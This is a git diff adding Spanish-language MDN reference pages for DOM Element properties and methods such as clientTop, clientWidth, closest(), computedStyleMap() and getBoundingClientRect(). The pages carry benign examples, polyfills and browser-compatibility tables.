index 0000000000..063ac86c13
--- /dev/null
+++ b/files/es/web/api/element/clienttop/index.html
@@ -0,0 +1,54 @@
+---
+title: element.clientTop
+slug: Web/API/Element/clientTop
+tags:
+  - Referencia_DOM_de_Gecko
+translation_of: Web/API/Element/clientTop
+---
+<p> </p>
+
+<p>{{ Fx_minversion_header(3) }} {{ ApiRef() }}</p>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El ancho del borde superior de un elemento en pixel. No incluye ni el<em>margin-top</em> , ni el<em>padding-top</em> . <code>clientTop</code> es de sólo lectura.</p>
+
+<p>Las aplicaciones "<a href="es/Gecko">Gecko</a>-based applications" implementan el uso de <code>clientTop</code> a partir de Gecko 1.9 (<a href="es/Firefox_3">Firefox 3</a>,ver {{ Bug(111207) }}). Esta propiedad no está disponible en Firefox 2 o anteriores.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">var<em>top</em> = <var>element</var>.clientTop;
+</pre>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Suave, individualista y muy leal, los gatos de Birmania tienen un carácter entre los persas y los siameses. Si le gustan los gatos que no son agresivos, disfrutan estar entre los humanos y son generalmente tranquilos, esta es la raza para usted.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>Todos los Birmanos tienen pintas y coloración obscura en la cara, orejas, patas y cola.</p>
+
+<p>La imagen del gato y el texto vienen de <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:clientTop.png"></p>
+
+<h3 id="Especificaci.C3.B3n" name="Especificaci.C3.B3n">Especificación</h3>
+
+<p>No es parte de ninguna especificación W3C.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p><code>clientTop</code> se presento por primera vez en el modelo de objetos de MS IE DHTML.</p>
+
+<h3 id="Referencias" name="Referencias">Referencias</h3>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/clienttop.asp?frame=true">MSDN's clientTop definition</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/es/web/api/element/clientwidth/index.html b/files/es/web/api/element/clientwidth/index.html
new file mode 100644
index 0000000000..bdf813c867
--- /dev/null
+++ b/files/es/web/api/element/clientwidth/index.html
@@ -0,0 +1,60 @@
+---
+title: Element.clientWidth
+slug: Web/API/Element/clientWidth
+translation_of: Web/API/Element/clientWidth
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propiedad <code><strong>Element.clientWidth</strong></code> es cero para elementos sin CSS o cajas de diseño (layout), en caso contrario es la anchura interior de un elemento en pixels, incluyendo la anchura de relleno (padding) pero no la anchura de la barra de desplazamiento vertical (si está presente, si está dibujada), el borde o el margen.</p>
+
+<div class="note">
+<p>El valor de esta propiedad será redondeado a un entero. Si necesita un valor fraccional, use {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintaxis</h2>
+
+<pre class="eval">var <var>intElemClientWidth</var> = <var>element</var>.clientWidth;
+</pre>
+
+<p><var>intElemClientWidth</var> será un entero que corresponde con el <strong>clientWidth</strong> del <var>element</var>o en pixels. <strong>clientWidth</strong> es de sólo-lectura.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientwidth', 'clientWidth')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">Notas</h3>
+
+<p><code>clientWidth</code> fue introducida en el modelo de objetos DHTML de MS IE.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.Element.clientWidth")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/es/web/api/element/closest/index.html b/files/es/web/api/element/closest/index.html
new file mode 100644
index 0000000000..ecf35158b5
--- /dev/null
+++ b/files/es/web/api/element/closest/index.html
@@ -0,0 +1,145 @@
+---
+title: Element.closest()
+slug: Web/API/Element/closest
+tags:
+  - API
+  - DOM
+  - Elemento
+  - Referencia
+  - metodo
+translation_of: Web/API/Element/closest
+---
+<div>{{APIRef('Shadow DOM')}}</div>
+
+<p>El método <code><strong>closest()</strong></code> de la interfaz {{domxref("Element")}} devuelve el ascendiente más cercano al elemento actual (o el propio elemento actual) que coincida con el selector proporcionado por parámetro. Si no existe dicho ascendiente, devuelve <code>null</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>closestElement = element</em>.closest(<em>selectors</em>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<ul>
+ <li><em><code>selectors</code></em> es un {{domxref("DOMString")}} que contiene una lista de selectores como <code>"p:hover, .toto + q"</code></li>
+ <li><em><code>element</code></em> es el {{domxref("Element")}} en la parte superior del árbol de elementos a tratar.</li>
+</ul>
+
+<h3 id="Valor_del_resultado">Valor del resultado</h3>
+
+<ul>
+ <li><code>closestElement</code> es el {{domxref("Element")}} ascendiente más cercano al elemento actual. Puede ser <code>null</code>.</li>
+</ul>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<ul>
+ <li>Se lanza una excepción {{exception("SyntaxError")}} si <em><code>selectors</code></em> no es una lista de selectores válida.</li>
+</ul>
+
+<h2 id="Ejemplo" name="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;article&gt;
+  &lt;div id="div-01"&gt;Here is div-01
+    &lt;div id="div-02"&gt;Here is div-02
+      &lt;div id="div-03"&gt;Here is div-03&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var el = document.getElementById('div-03');
+
+var r1 = el.closest("#div-02");
+// returns the element with the id=div-02
+
+var r2 = el.closest("div div");
+// returns the closest ancestor which is a div in div, here is div-03 itself
+
+var r3 = el.closest("article &gt; div");
+// returns the closest ancestor which is a div and has a parent article, here is div-01
+
+var r4 = el.closest(":not(div)");
+// returns the closest ancestor which is not a div, here is the outmost article</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Para los navegadores que no tengan soporte para <code>Element.closest()</code>, pero sí lo tengan para <code>document.querySelectorAll()</code> (o un equivalente prefijado, es decir IE9+), existe un polyfill:</p>
+
+<pre class="brush: js">if (!Element.prototype.matches) {
+  Element.prototype.matches = Element.prototype.msMatchesSelector ||
+                              Element.prototype.webkitMatchesSelector;
+}
+
+if (!Element.prototype.closest) {
+  Element.prototype.closest = function(s) {
+    var el = this;
+
+    do {
+      if (el.matches(s)) return el;
+      el = el.parentElement || el.parentNode;
+    } while (el !== null &amp;&amp; el.nodeType === 1);
+    return null;
+  };
+}</pre>
+
+<p>Sin embargo, si realmente se necesita soporte para IE 8, entonces el siguiente polyfill servirá para conseguirlo de forma muy lenta, pero lo hará. Sin embargo, sólo admitirá selectores CSS 2.1 en IE 8, puede causar picos severos de retraso en sitios web en producción.</p>
+
+<pre class="brush: js">if (window.Element &amp;&amp; !Element.prototype.closest) {
+  Element.prototype.closest =
+  function(s) {
+    var matches = (this.document || this.ownerDocument).querySelectorAll(s),
+        i,
+        el = this;
+    do {
+      i = matches.length;
+      while (--i &gt;= 0 &amp;&amp; matches.item(i) !== el) {};
+    } while ((i &lt; 0) &amp;&amp; (el = el.parentElement));
+    return el;
+  };
+}
+</pre>
+
+<h2 id="Especificacion" name="Especificacion">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-closest', 'Element.closest()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("api.Element.closest")}}</p>
+
+<h3 id="Notas_de_compatibilidad">Notas de compatibilidad</h3>
+
+<ul>
+ <li>En Edge <code>document.createElement(element).closest(element)</code> devolverá <code>null</code> si el elemento no es el primero del DOM</li>
+</ul>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>La interfaz {{domxref("Element")}}.</li>
+ <li>
+  <div class="syntaxbox"><a href="/es/docs/Web/CSS/Introducción/Selectors">Sintaxis de los Selectores</a></div>
+ </li>
+ <li>
+  <div class="syntaxbox">Otros métodos que toman selectores: {{domxref("element.querySelector()")}} y {{domxref("element.matches()")}}.</div>
+ </li>
+</ul>
diff --git a/files/es/web/api/element/computedstylemap/index.html b/files/es/web/api/element/computedstylemap/index.html
new file mode 100644
index 0000000000..656312b1f5
--- /dev/null
+++ b/files/es/web/api/element/computedstylemap/index.html
@@ -0,0 +1,99 @@
+---
+title: Element.computedStyleMap()
+slug: Web/API/Element/computedStyleMap
+tags:
+  - API
+  - CSS Typed Object Model API
+  - Element
+  - Experimental
+  - Houdini
+  - Method
+  - Reference
+  - StylePropertyMapReadOnly
+  - computedStyleMap()
+translation_of: Web/API/Element/computedStyleMap
+---
+<p>{{APIRef("CSS Typed Object Model API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">El método <strong><code>computedStyleMap()</code></strong> de la interfaz {{domxref("Element")}} devuelve una interfaz {{domxref("StylePropertyMapReadOnly")}} que provee una representación de solo-lectura de un bloque de declaración de CSS que es una alternativa a {{domxref("CSSStyleDeclaration")}}. </span></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">var <var>stylePropertyMapReadOnly</var> = Element.computedStyleMap()</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>Ninguno.</p>
+
+<h3 id="Valor_de_resultado">Valor de resultado</h3>
+
+<p>Una interfaz {{domxref("StylePropertyMapReadOnly")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Comenzamos con algo de HTML simple: un párrafo con un enlace, y una lista de definición a la cual le añadiremos todos los pares de Propiedad CSS / Valor.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+   &lt;a href="https://example.com"&gt;Link&lt;/a&gt;
+&lt;/p&gt;
+&lt;dl id="regurgitation"&gt;&lt;/dl&gt;</pre>
+
+<p>Añadimos un poco de CSS</p>
+
+<pre class="brush: css notranslate">a {
+  --colour: red;
+  color: var(--colour);
+}</pre>
+
+<p>Añadimos Javascript para tomar nuestro enlace y devolvemos una lista de definición de todos los valores de propiedades CSS usando <code>computedStyleMap().</code></p>
+
+<pre class="brush: js notranslate">// obtenemos el elemento
+const myElement = document.querySelector('a');
+
+// obtenemos la &lt;dl&gt; que llenaremos
+const stylesList = document.querySelector('#regurgitation');
+
+// recuperamos todos los estilos calculados con computedStyleMap()
+const allComputedStyles = myElement.computedStyleMap();
+
+// iteramos a través del mapa de todas las propiedades y valores, añadiendo un &lt;dt&gt; y &lt;dd&gt; para cada mapa
+for (const [prop, val] of allComputedStyles) {
+	// propiedades
+	const cssProperty = document.createElement('dt');
+	cssProperty.appendChild(document.createTextNode(prop));
+	stylesList.appendChild(cssProperty);
+
+	// valores
+	const cssValue = document.createElement('dd');
+	cssValue.appendChild(document.createTextNode(val));
+	stylesList.appendChild(cssValue);
+}</pre>
+
+<p>En <a href="/en-US/docs/Web/API/Element/computedStyleMap#Browser_compatibility">navegadores que soportan <code>computedStyleMap()</code></a>, verás una lista de todas las propiedades CSS y valores. En otros navegadores verás un enlace.</p>
+
+<p>{{EmbedLiveSample("Examples", 300, 300)}}</p>
+
+<p>¿Te diste cuenta cuántas propiedades CSS por defecto tenía un enlace? Actualiza el '<code>a</code>' a un '<code>p</code>', y notarás una diferencia en los valores calculados por defecto del <code>margin-top</code> y <code>margin-bottom</code>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS Typed OM','#dom-element-computedstylemap','computedStyleMap()')}}</td>
+   <td>{{Spec2('CSS Typed OM')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navedadores">Compatibilidad con navedadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una "pull request".</div>
+
+<p>{{Compat("api.Element.computedStyleMap")}}</p>
diff --git a/files/es/web/api/element/currentstyle/index.html b/files/es/web/api/element/currentstyle/index.html
new file mode 100644
index 0000000000..620ff01129
--- /dev/null
+++ b/files/es/web/api/element/currentstyle/index.html
@@ -0,0 +1,80 @@
+---
+title: Element.currentStyle
+slug: Web/API/Element/currentStyle
+tags:
+  - API
+  - Compatibilidad en los navegadores móviles
+  - Property
+translation_of: Web/API/Element/currentStyle
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p><strong><code>Element.currentStyle </code></strong><span lang="es"><span>es</span> <span>una propiedad</span> <span>que es una</span> <span>alternativa propietaria</span> <span>del método estandarizado</span></span> {{domxref("window.getComputedStyle")}} . <span id="result_box" lang="es"><span>Está disponible en</span> <span>las versiones anteriores de</span> <span>Microsoft</span> <span>Internet Explorer</span><span>.</span></span></p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<p>No forma parte de ninguna especificación.</p>
+
+<p>Microsoft <a href="https://msdn.microsoft.com/en-us/library/ms535231(v=vs.85).aspx">tiene una descripción MSDN</a>.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad en los Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Microsoft Edge</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>6</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{domxref("Element.runtimeStyle")}}   </li>
+</ul>
diff --git a/files/es/web/api/element/getattribute/index.html b/files/es/web/api/element/getattribute/index.html
new file mode 100644
index 0000000000..91f55e2c43
--- /dev/null
+++ b/files/es/web/api/element/getattribute/index.html
@@ -0,0 +1,48 @@
+---
+title: Element.getAttribute()
+slug: Web/API/Element/getAttribute
+tags:
+  - API
+  - DOM
+  - metodo
+translation_of: Web/API/Element/getAttribute
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span class="seoSummary"><code>getAttribute()</code> devuelve el valor del atributo especificado en el elemento.</span> Si el atributo especificado no existe, el valor retornado puede ser tanto <code>null</code> como <code>""</code> (una cadena vacía); ver {{Anch("Notes")}} para más detalles.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>var atributo</em> = element.getAttribute(<em>nombreAtributo</em>);
+</pre>
+
+<p>donde</p>
+
+<ul>
+ <li><code><em>atributo</em></code> es una cadena que contiene el valor del atributo <code><em>nombreAtributo</em></code>.</li>
+ <li><code><em>nombreAtributo</em></code> es el nombre del atributo del cual se quiere obtener el valor.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:js">var div1 = document.getElementById("div1");
+var align = div1.getAttribute("align");
+
+alert(align); // Muestra el valor de la alineación(align) del elemento con id="div1"</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>Cuando es invocado en un elemento HTML desde un DOM marcado como documento HTML, <code>getAttribute()</code> convierte a minúsculas el argumento antes de proceder.</p>
+
+<p>Esencialmente todos los navegadores (Firefox, Internet Explorer, versiones recientes de Opera, Safari, Konqueror, y iCab, siendo una lista no exhaustiva) devuelven <code>null</code> cuando el atributo especificado no existe en el elemento especificado y esto es lo que establece <a href="http://dom.spec.whatwg.org/#dom-element-getattribute" title="http://dom.spec.whatwg.org/#dom-element-getattribute">el actual borrador de la especificación del DOM</a>. Por otra parte, la antigua especificación del DOM 3 Core dice que el valor correcto de retorno es de hecho una <em>cadena vacía</em>, y algunas implementaciones de DOM aplican este comportamiento. La implementación de getAttribute en XUL (Gecko) sigue la especificación de DOM 3 Core y retorna una cadena vacía. Por consiguiente, es recomendable usar {{domxref("element.hasAttribute()")}} para verificar la existencia de un atributo previo a la utilización de <code>getAttribute()</code> si es posible que el atributo requerido no exista en el elemento especificado.</p>
+
+<div>{{DOMAttributeMethods}}</div>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-666EE0F9">DOM Level 2 Core: getAttribute</a> (introducido en <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">DOM Level 1 Core</a>)</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/es/web/api/element/getattributenodens/index.html b/files/es/web/api/element/getattributenodens/index.html
new file mode 100644
index 0000000000..07ca649174
--- /dev/null
+++ b/files/es/web/api/element/getattributenodens/index.html
@@ -0,0 +1,38 @@
+---
+title: Element.getAttributeNodeNS()
+slug: Web/API/Element/getAttributeNodeNS
+tags:
+  - API
+  - DOM
+  - Referencia
+  - metodo
+translation_of: Web/API/Element/getAttributeNodeNS
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<h2 id="Summary" name="Summary">Sumario</h2>
+
+<p>Dados namespace y nodeName del element, devuelve su <code>Attr</code> .</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval"><em>attributeNode</em> = element.getAttributeNodeNS(<em>namespace</em>,<em>nodeName</em>)
+</pre>
+
+<ul>
+ <li><code>attributeNode</code> es el nodo para el atributo especificado.</li>
+ <li><code>namespace</code> es la cadena que define el namespace del atributo.</li>
+ <li><code>nodeName</code> es la cadena que define el name del atributo.</li>
+</ul>
+
+<p><span class="comment">== Example == TBD The example needs to be fixed pre&gt; // html: &lt;div id="top" /&gt; t = document.getElementById("top"); specialNode = t.getAttributeNodeNS( "<a class="external" href="http://www.mozilla.org/ns/specialspace" rel="freelink">http://www.mozilla.org/ns/specialspace</a>", "id"); // iNode.value = "full-top" &lt;/pre</span></p>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><code>getAttributeNodeNS</code> es más específica <a href="en/DOM/element.getAttributeNode">getAttributeNode</a> en el sentido de que puedes especificar atributos de un namespace en particular.  Su método setter es <a href="en/DOM/element.setAttributeNodeNS">setAttributeNodeNS</a>.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAtNodeNS">DOM Level 2 Core: getAttributeNodeNS</a></p>
diff --git a/files/es/web/api/element/getboundingclientrect/index.html b/files/es/web/api/element/getboundingclientrect/index.html
new file mode 100644
index 0000000000..9d1b6ae4bb
--- /dev/null
+++ b/files/es/web/api/element/getboundingclientrect/index.html
@@ -0,0 +1,98 @@
+---
+title: element.getBoundingClientRect
+slug: Web/API/Element/getBoundingClientRect
+tags:
+  - API
+  - Boundary
+  - Bounding
+  - Bounds
+  - CSSOM View
+  - Cliente
+  - DOM
+  - Elemento
+  - Minimo
+  - Referencia
+  - metodo
+translation_of: Web/API/Element/getBoundingClientRect
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>El método <code><strong>Element.getBoundingClientRect()</strong></code> devuelve el tamaño de un elemento y su posición relativa respecto a la ventana de visualización (<em>viewport).</em></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><em>domRect</em> = <em>element</em>.getBoundingClientRect();</pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>El valor devuelto es un objeto {{domxref("DOMRect")}} que es la unión de los rectángulos devueltos por {{domxref("Element.getClientRects", "getClientRects()")}}para el elemento, es decir, las <em>CSS border-boxes</em> asociadas con el elemento. El resultado es el rectángulo más pequeño que contiene al elemento completo, con las propiedades de solo lectura <code>left</code>, <code>top</code>, <code>right</code>, <code>bottom</code>, <code>x</code>, <code>y</code>, <code>width</code>, and <code>height</code> describiendo la <em>border-box</em> total en pixels. Excepto <code>width</code> and <code>height</code> las propiedades son relativas a la esquina superior izquierda (<em>top-left</em>) de la ventana.</p>
+
+<p style="display: block;"><img alt="Explicación de los valores DOMRect" src="https://mdn.mozillademos.org/files/15087/rect.png" style="float: right; height: 300px; width: 300px;" title="Explicación de los valores DOMRect"></p>
+
+<p>Las <em>border-boxes</em> vacías son ignoradas. Si todas las <em>border-boxes</em> del elemento estan vacías, entonces se devuelve un rectángulo con <code>width</code> and <code>height</code> iguales a cero donde el <code>top</code> y el <code>left</code> son el top-left de la <em>border-box</em> de la primera <em>CSS box</em> (en onden de contenido) para el elemento.</p>
+
+<p>La cantidad de <em>scrolling</em> realizado en la ventana (o cualquier otro elemento <em>scrollable</em>) se tiene en cuenta cuando se calcula el rectángulo. Esto implica que los bordes del rectángulo (<code>top</code>, <code>left</code>, <code>bottom</code>, and <code>right</code>) cambián sus valores cada vez que la posición de <em>scrolling</em> cambia (ya que sus valores no son absolutos sino relativos a la ventana). Si se necesita el <em>bounding rectangle</em> relativo a la esquina <em>top-left</em> del documento, hay que añadir la posición de <em>scrolling</em> actual a las propiedades <code>top</code> and <code>left</code>  (dicha posición de <em>scrolling</em> puede obtenerse usando {{domxref("window.scrollX")}} y {{domxref("window.scrollY")}}) para obtener el <em>bounding rectangle</em> independiente de la posición de <em>scrolling</em>.</p>
+
+<h3 id="Fallback_para_todos_los_navegadores">Fallback para todos los navegadores</h3>
+
+<p>Los scripts que requieran una alta compatibilidad <em>cross-browser</em> pueden usar {{domxref("window.pageXOffset")}} y {{domxref("window.pageYOffset")}} en lugar de <code>window.scrollX</code> y <code>window.scrollY.</code> Si no se tiene acceso a esas propiedades puede usarse el siguiente código:</p>
+
+<pre class="brush: js notranslate">// Para scrollX
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.scrollLeft == 'number' ? t : document.body).scrollLeft
+// Para scrollY
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.scrollTop == 'number' ? t : document.body).scrollTop
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js notranslate">// rect es un objeto DOMRect con ocho propiedades: left, top, right, bottom, x, y, width, height
+var rect = obj.getBoundingClientRect();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-getboundingclientrect", "Element.getBoundingClientRect()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notas">Notas</h3>
+
+<p>El objeto <code>DOMRect</code> devuelto puede modificarse en navegadores modernos. Esto no era así en versiones anteriores que devolvían <code>DOMRectReadOnly</code> de forma efectiva. Con IE y Edge, el hecho de no poder agregar propiedades faltantes a su objeto <code>ClientRect</code> <a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx">MSDN: <code>ClientRect</code></a>, devuelto impide rellenar los valores <code>x</code> e <code>y</code>.</p>
+
+<p>Debido a problemas de compatibilidad (ver a continuación), es más seguro confiar sólo en las propiedades <code>left</code>, <code>top</code>, <code>right</code>, and <code>bottom</code>. </p>
+
+<p>Las propiedades en el objeto <code>DOMRect</code> devuelto no son suyas. Mientras que el operador <code>in</code> y <code>for...in</code> encontrarán las propiedades devueltas, otras API como <code>Object.keys()</code> fallarán. Además, e inesperadamente, ES2015 y nuevas características como <code>Object.assign()</code> y los operadores rest/spread de los objetos, no podrán copiar las propiedades devueltas.</p>
+
+<pre class="brush: js notranslate">rect = elt.getBoundingClientRect()
+// El resultado en emptyObj es {}
+emptyObj = Object.assign({}, rect)
+emptyObj = { ...rect }
+{width, ...emptyObj} = rect
+</pre>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{Compat("api.Element.getBoundingClientRect")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Element.getClientRects", "getClientRects()")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms536433(VS.85).aspx">MSDN: <code>getBoundingClientRect</code></a></li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx">MSDN: <code>ClientRect</code></a>, una versión anterior a <code>DOMRect</code> </li>
+</ul>
diff --git a/files/es/web/api/element/getclientrects/index.html b/files/es/web/api/element/getclientrects/index.html
new file mode 100644
